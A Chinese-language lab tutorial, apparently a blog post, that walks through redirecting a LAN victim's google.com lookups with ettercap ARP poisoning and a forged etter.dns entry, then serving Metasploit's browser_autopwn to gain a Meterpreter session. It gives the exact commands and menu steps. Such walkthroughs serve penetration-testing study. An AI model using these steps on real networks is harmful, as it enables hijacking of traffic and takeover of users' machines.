客户端渗透之——与DNS欺骗的结合使用

攻击机 Kali 192.168.175.128

靶机 WinXP 192.168.175.130

在《客户端渗透之——浏览器渗透​》和《客户端渗透之——对网站的客户进行渗透》中,我们看到了一个传统的browser autopwn攻击以及改进后针对网站用户的攻击。其中,我们受到了一个约束,就是必须要通过某种方式将陷阱链接发送给受害者。在这篇文章中,我们不再向受害者发送任何链接,而是等待他们去浏览自己喜欢的网站。

这种攻击只能在局域网环境。因为若想采用这种方式,首先需要执行ARP欺骗。ARP工作在协议层的第二层,只有在同一个广播域下工作。但如果可以通过某种方式来修改远程受害者主机的hosts文件,我们就可以不用考虑这个限制,这通常被称为一个域欺骗攻击。

一.使用DNS劫持欺骗受害者

首先对受害者发起一个ARP毒化攻击,并执行DNS查询欺骗。因此,如果受害者试图打开一个常用的网站主页,例如http://google.com,结果却是打开了我们设置的browser autopwn服务的陷阱主页,进而使得他的系统遭到了来自陷阱网站的攻击。

1.查找etter.dns文件

我们需要创建一个DNS毒化列表,通过输入如下命令来找到伪造DNS条目保存的文件。

locate etter.dns

root@binghe:~# locate etter.dns
/etc/ettercap/etter.dns

2.创造伪造DNS列表

这里,我们使用的ARP毒化工具为ettercap,首先,找到 etter.dns 文件并创造一个伪造的DNS列表,为了实现这一点,需要修改etter.dns文件中的列表。

vim /etc/ettercap/etter.dns

这里,我们加入了一行google.com A 192.168.175.128,这个假冒的DNS条目指向设置了browser autopwn服务的主机IP。因此,受害者并没有进入自己原计划的网站,而是进入了运行着browser autopwn服务的那个缺陷网站。

这样,当受害者发出一个关于域名http://google.com的DNS请求时,这个列表就会把攻击者计算机的IP地址作为响应发送给他。

二、使用ettercap毒化内网

1.启动ettercap

在Kali命令行运行命令:

ettercap -G

启动ettercap图形界面。


                                            客户端渗透之——与DNS欺骗的结合使用

2.选择网卡接口

依次选择ettercap的Sniff->Unified sniffing...打开选择网卡的弹出框,选择eth0后确定。


                                            客户端渗透之——与DNS欺骗的结合使用


                                            客户端渗透之——与DNS欺骗的结合使用

3.扫描目标网络范围

对目标网络范围内的主机IP进行扫描,验证哪些主机处于在线状态,

依次点击hosts->Scan for hosts


                                            客户端渗透之——与DNS欺骗的结合使用

4.查看在线主机

依次点击Hosts->Hosts list


                                            客户端渗透之——与DNS欺骗的结合使用


                                            客户端渗透之——与DNS欺骗的结合使用

可以看到我们靶机IP 192.168.175.130也在结果列表中。

5.配置网关和靶机IP

这里,我们将网关的地址添加到目标2,将靶机IP添加到目标1,以后就将网关看作目标2,将靶机看作目标1。因为我们需要截获靶机发往网关的通信。


                                            客户端渗透之——与DNS欺骗的结合使用


                                            客户端渗透之——与DNS欺骗的结合使用

添加后的结果:


                                            客户端渗透之——与DNS欺骗的结合使用

6.设置ARP Poisoning

依次点击Mitm->ARP poisoning


                                            客户端渗透之——与DNS欺骗的结合使用

选中Sniff remote connections后确定。


                                            客户端渗透之——与DNS欺骗的结合使用

7.执行Start Sniffing

依次点击 Start->Start sniffing


                                            客户端渗透之——与DNS欺骗的结合使用

这时,会输出一个“Unified sniffing already started...”的提示信息


                                            客户端渗透之——与DNS欺骗的结合使用

8.激活DNS欺骗插件程序

依次点击Plugins->Manage the plugins


                                            客户端渗透之——与DNS欺骗的结合使用

双击dns_spoof以激活DNS欺骗


                                            客户端渗透之——与DNS欺骗的结合使用

双击后的效果为:


                                            客户端渗透之——与DNS欺骗的结合使用

这个插件被激活之后将会发送伪造的DNS数据,这些数据是我们之前在etter.dns中修改过的。因此,无论何时,只要受害者发送某个特定网站域名的DNS请求,攻击就会伪造一个响应,使用etter.dns文件中假冒的DNS条目来代替真实的条目。

9.启动陷阱网站

接下来在80端口启动陷阱网站

msfconsole
use auxiliary/server/browser_autopwn
set LHOST 192.168.175.128
set SRVPORT 80
set URIPATH /
exploit


                                            客户端渗透之——与DNS欺骗的结合使用

10.在靶机上访问链接

在靶机上打开链接http://google.com


                                            客户端渗透之——与DNS欺骗的结合使用

这样,我们就可以拿到靶机的Meterpreter。

11.查看靶机的ARP信息


                                            客户端渗透之——与DNS欺骗的结合使用

可以看到攻击机和网关的Mac地址一样,这是我们对内网进行了ARP毒化的结果。

最后,这种方式只能用在局域网,如果想在一个广域网中实现这种攻击,就需要修改受害者的主机文件。这样当受害者试图访问一条执行的URL时,篡改过的主机文件条目将这个URL定向到那个恶意autopwn服务器上。